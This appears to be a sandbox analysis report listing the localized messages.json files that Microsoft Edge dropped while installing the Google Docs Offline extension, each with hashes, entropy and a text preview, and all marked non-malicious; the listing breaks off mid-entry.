Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
